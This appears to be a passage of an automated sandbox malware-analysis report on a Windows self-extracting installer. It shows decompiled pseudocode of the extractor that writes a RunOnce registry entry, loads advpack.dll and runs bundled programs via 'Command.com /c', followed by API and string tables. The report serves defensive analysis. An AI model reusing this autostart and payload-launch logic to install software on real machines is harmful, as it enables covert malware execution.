				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0xa38004; // 0xb6b6972c
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E00A36CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E00A3171E("wextract_cleanup0", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup0", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E00A3658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0xa39a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0xa391e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0xa391e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0xa391e5);
						if(_t90 != 0) {
							 *0xa38580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
							E00A3171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup0", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E00A344B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E00A3658A( &_v268, 0x104, 0xa31140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0xa38530 = _t66;
				goto L23;
			}

0x00a3202a
0x00a32035
0x00a3203c
0x00a32041
0x00a32050
0x00a3205f
0x00a32064
0x00a3206f
0x00a3208c
0x00a32094
0x00a32257
0x00a32266
0x00a32266
0x00a3209a
0x00a3209b
0x00a3209d
0x00a320aa
0x00a320af
0x00a320c9
0x00a320d1
0x00000000
0x00000000
0x00a320d3
0x00a320da
0x00000000
0x00000000
0x00000000
0x00a320da
0x00a320e2
0x00a32103
0x00a3210e
0x00a32116
0x00a32122
0x00a32128
0x00a3212c
0x00a32179
0x00a32194
0x00a321de
0x00a321e4
0x00a32256
0x00a32256
0x00000000
0x00a32256
0x00a32196
0x00a32196
0x00a3219c
0x00a3219f
0x00a3219f
0x00a321a1
0x00a321a2
0x00a321a6
0x00a321a8
0x00a321b0
0x00a321b0
0x00a321b2
0x00a321b3
0x00a321bc
0x00a321c7
0x00a321cb
0x00a321f1
0x00a321f6
0x00a321fd
0x00a321ff
0x00a321ff
0x00a32204
0x00a32213
0x00a32218
0x00a3221d
0x00a3221d
0x00a32220
0x00a32220
0x00a32222
0x00a32223
0x00a32229
0x00a3223d
0x00a32249
0x00a32250
0x00000000
0x00a32250
0x00a321d2
0x00a321d9
0x00000000
0x00a321d9
0x00a3213a
0x00a32141
0x00a32144
0x00a3214c
0x00000000
0x00000000
0x00a32163
0x00a32172
0x00a32172
0x00000000
0x00a32163
0x00a320ea
0x00a320f0
0x00000000

APIs

memset.MSVCRT ref: 00A32050
memset.MSVCRT ref: 00A3205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00A3208C

Part of subcall function 00A3171E: _vsnprintf.MSVCRT ref: 00A31750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A320C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A320EA
GetSystemDirectoryA.KERNEL32 ref: 00A32103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A32122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00A32134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A32144
GetSystemDirectoryA.KERNEL32 ref: 00A3215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A3218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A321C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A321E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 00A3223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A32249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A32250

Strings

wextract_cleanup0, xrefs: 00A320A5, 00A320BE, 00A320F0, 00A32232
advpack.dll, xrefs: 00A32109
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00A32082
DelNodeRunDLL32, xrefs: 00A3212E
wextract_cleanup%d, xrefs: 00A3209E
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00A321F6
%s /D:%s, xrefs: 00A321FF, 00A32210
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A321A8, 00A32204

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-2414900631
Opcode ID: 47e9ff77f8d10c2c1a66c679e2aa07ffb263ee93ec679ef7f854aea12a86e221
Instruction ID: efb5d68d83f380ee88cb41f853b1bd9bbfbd564ceaa62c2b4791be0f988f471c
Opcode Fuzzy Hash: 47e9ff77f8d10c2c1a66c679e2aa07ffb263ee93ec679ef7f854aea12a86e221
Instruction Fuzzy Hash: 8051F771A00224BBDB24DBA4DC49FFB777CEF55700F0042A8F985E7151DAB59E4A8B60

Uniqueness

Uniqueness Score: -1.00%

Function 00A33BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00A33BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0xa38004; // 0xb6b6972c
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0xa39124 =  *0xa39124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0xa38a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0xa38c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E00A3468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E00A344B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0xa39124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E00A31AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E00A36CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E00A33FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0xa38580;
													if( *0xa38580 != 0) {
														E00A32267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0xa38180;
											if( *0xa38180 == 0) {
												_t146 = 0x4c7;
												E00A344B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0xa39124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0xa39a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E00A36495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E00A344B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0xa39124 = E00A36285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E00A344B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0xa38a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0xa39a40; // 0x3
											_v364 = _t96;
											_t97 =  *0xa38a38 & 0x0000ffff;
											_v380 = 0xa39154;
											_v376 = _t151;
											_v372 = 0xa391e4;
											_v360 = _t97;
											if( *0xa38a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0xa39a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0xa38d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0xa39a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0xa3a288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0xa39124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0xa39a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0xa38a20;
										if( *0xa38a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E00A3202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E00A3468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0xa38c42;
									if( *0xa38c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0xa38a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E00A3468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E00A3468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E00A31781( &_v276, 0x104, _t130, 0xa38c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E00A3468F(_t130, 0xa39a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x00a33baa
0x00a33bb0
0x00a33bb7
0x00a33bc0
0x00a33bc2
0x00a33bc9
0x00a33bcb
0x00a33bcf
0x00a33bd3
0x00a33bd9
0x00a33bfd
0x00a33bfd
0x00a33bff
0x00a33c03
0x00a33c03
0x00a33c11
0x00a33c16
0x00a33c19
0x00a33c28
0x00000000
0x00000000
0x00a33c30
0x00a33c39
0x00a33c40
0x00a33d13
0x00a33d15
0x00a33d21
0x00a33d26
0x00000000
0x00a33c4f
0x00a33c56
0x00a33c60
0x00a33c65
0x00a33c77
0x00a33c78
0x00a33c7c
0x00a33c7e
0x00a33c82
0x00a33c82
0x00000000
0x00a33c7c
0x00a33c67
0x00a33c69
0x00a33c6d
0x00000000
0x00a33c58
0x00a33c58
0x00a33c6e
0x00a33c6e
0x00a33c87
0x00a33c89
0x00a33d4d
0x00a33d4f
0x00a33d50
0x00a33d52
0x00a33d9e
0x00a33da8
0x00a33daf
0x00a33db4
0x00a33db6
0x00a33f4d
0x00a33f4d
0x00a33f4f
0x00a33f56
0x00a33f57
0x00a33f58
0x00a33f63
0x00a33f63
0x00a33dbc
0x00a33dc0
0x00a33dc2
0x00a33de6
0x00a33de6
0x00a33de8
0x00a33f0b
0x00a33f0b
0x00a33f0f
0x00a33f13
0x00a33f15
0x00a33f1a
0x00a33f1c
0x00a33f46
0x00a33f47
0x00000000
0x00a33f47
0x00a33f1e
0x00a33f1f
0x00a33f25
0x00a33f26
0x00a33f2a
0x00a33f2d
0x00a33fd9
0x00a33fd9
0x00a33fda
0x00a33fda
0x00a33fe1
0x00a33fe3
0x00a33fe3
0x00a33fe8
0x00000000
0x00a33fe8
0x00a33f33
0x00a33f37
0x00000000
0x00a33f37
0x00a33dee
0x00a33dee
0x00a33df5
0x00a33fad
0x00a33fb9
0x00a33fc2
0x00a33fc8
0x00000000
0x00a33fc8
0x00a33dfb
0x00a33dfd
0x00000000
0x00000000
0x00a33e03
0x00a33e0a
0x00000000
0x00000000
0x00a33e15
0x00a33e17
0x00a33e19
0x00a33f94
0x00a33fa4
0x00a33f7c
0x00a33f80
0x00a33f8b
0x00000000
0x00a33f8b
0x00a33e2c
0x00a33e30
0x00a33e34
0x00a33e36
0x00a33f69
0x00a33f6e
0x00a33f70
0x00a33f76
0x00000000
0x00a33f76
0x00a33e3c
0x00a33e43
0x00a33e47
0x00a33e52
0x00a33e56
0x00a33e5c
0x00a33e61
0x00a33e68
0x00a33e70
0x00a33e74
0x00a33e7c
0x00a33e80
0x00a33e82
0x00a33e82
0x00a33e87
0x00a33e87
0x00a33e8b
0x00a33e91
0x00a33e94
0x00a33e96
0x00a33e96
0x00a33e9b
0x00a33e9b
0x00a33e9f
0x00a33ea2
0x00a33ea4
0x00a33ea4
0x00a33ea9
0x00a33ea9
0x00a33ead
0x00a33eb3
0x00a33eb6
0x00a33eb8
0x00a33eb8
0x00a33ebd
0x00a33ebd
0x00a33ec1
0x00a33ec3
0x00a33ec5
0x00a33ec5
0x00a33eca
0x00a33eca
0x00a33ece
0x00a33ed5
0x00a33ed9
0x00a33ee0
0x00a33ee6
0x00a33eea
0x00a33eec
0x00a33eee
0x00a33ef3
0x00a33ef3
0x00a33ef5
0x00a33efa
0x00a33efb
0x00a33efd
0x00a33f40
0x00000000
0x00a33eff
0x00a33eff
0x00a33f05
0x00000000
0x00a33f05
0x00a33efd
0x00a33dc7
0x00a33dce
0x00000000
0x00000000
0x00a33dd0
0x00a33dd7
0x00000000
0x00000000
0x00a33dd9
0x00a33ddb
0x00000000
0x00000000
0x00a33ddd
0x00a33de1
0x00000000
0x00a33de1
0x00a33d59
0x00a33d65
0x00a33d6a
0x00a33d6c
0x00000000
0x00000000
0x00a33d6e
0x00a33d75
0x00000000
0x00000000
0x00a33d8f
0x00a33d96
0x00a33d98
0x00000000
0x00000000
0x00000000
0x00a33d98
0x00a33c8f
0x00a33c98
0x00a33cf1
0x00a33cf3
0x00000000
0x00000000
0x00a33cfe
0x00a33d11
0x00000000
0x00000000
0x00000000
0x00a33d11
0x00a33c9c
0x00a33ca5
0x00a33ca7
0x00000000
0x00000000
0x00a33cad
0x00a33cb2
0x00a33cb7
0x00a33cc5
0x00000000
0x00000000
0x00a33ce8
0x00a33cec
0x00a33ced
0x00a33ced
0x00000000
0x00a33ce8
0x00a33c9e
0x00000000
0x00a33c9e
0x00a33c56
0x00a33d35
0x00a33d35
0x00a33d3c
0x00a33d48
0x00000000
0x00a33d48
0x00a33c03
0x00a33be2
0x00a33be7
0x00a33bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 00A33C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00A33CDC

Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346A0
Part of subcall function 00A3468F: SizeofResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346A9
Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346C3
Part of subcall function 00A3468F: LoadResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346CC
Part of subcall function 00A3468F: LockResource.KERNEL32(00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346D3
Part of subcall function 00A3468F: memcpy_s.MSVCRT ref: 00A346E5
Part of subcall function 00A3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00A38C42), ref: 00A33D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00A33E26
FreeLibrary.KERNEL32(00000000,?,00A38C42), ref: 00A33EFF
LocalFree.KERNEL32(?,?,?,?,00A38C42), ref: 00A33F1F
FreeLibrary.KERNEL32(00000000,?,00A38C42), ref: 00A33F40
LocalFree.KERNEL32(?,?,?,?,00A38C42), ref: 00A33F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00A38C42), ref: 00A33F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00A38C42), ref: 00A33F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00A38C42), ref: 00A33FC2

Strings

USRQCMD, xrefs: 00A33CAD
advpack.dll, xrefs: 00A33F9D
REBOOT, xrefs: 00A33BE2
SHOWWINDOW, xrefs: 00A33C34
D, xrefs: 00A33C19
zhiga, xrefs: 00A33E68
DoInfInstall, xrefs: 00A33E1F, 00A33E24, 00A33F68
<None>, xrefs: 00A33CC9, 00A33D7D
RUNPROGRAM, xrefs: 00A33D05
POSTRUNPROGRAM, xrefs: 00A33D60
ADMQCMD, xrefs: 00A33C9E
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A33E74

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$zhiga
API String ID: 1032054927-2225721525
Opcode ID: a5422213361df776cc312e7b71a14ab0c3ba8605bd8effa4e10c3accfa7a3bd0
Instruction ID: 32d1d98a214ac547381838c3153e5d06d2e057e688c1518aa3fd027624c6bfdf
Opcode Fuzzy Hash: a5422213361df776cc312e7b71a14ab0c3ba8605bd8effa4e10c3accfa7a3bd0
Instruction Fuzzy Hash: 1CB1037290C3019FDB24DF648D46B6B76E4EB85740F104A2DFA85D61A0DB74CA46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A31AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00A31AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0xa38004; // 0xb6b6972c
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E00A31680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E00A31A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E00A31781( &_v268, 0x104, _t111, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
					E00A3658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E00A31680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E00A366C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E00A366C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E00A31680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E00A31781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E00A316B3( &_v1552, 0x400, " ");
										E00A316B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E00A32AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E00A3171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E00A31A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E00A31A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
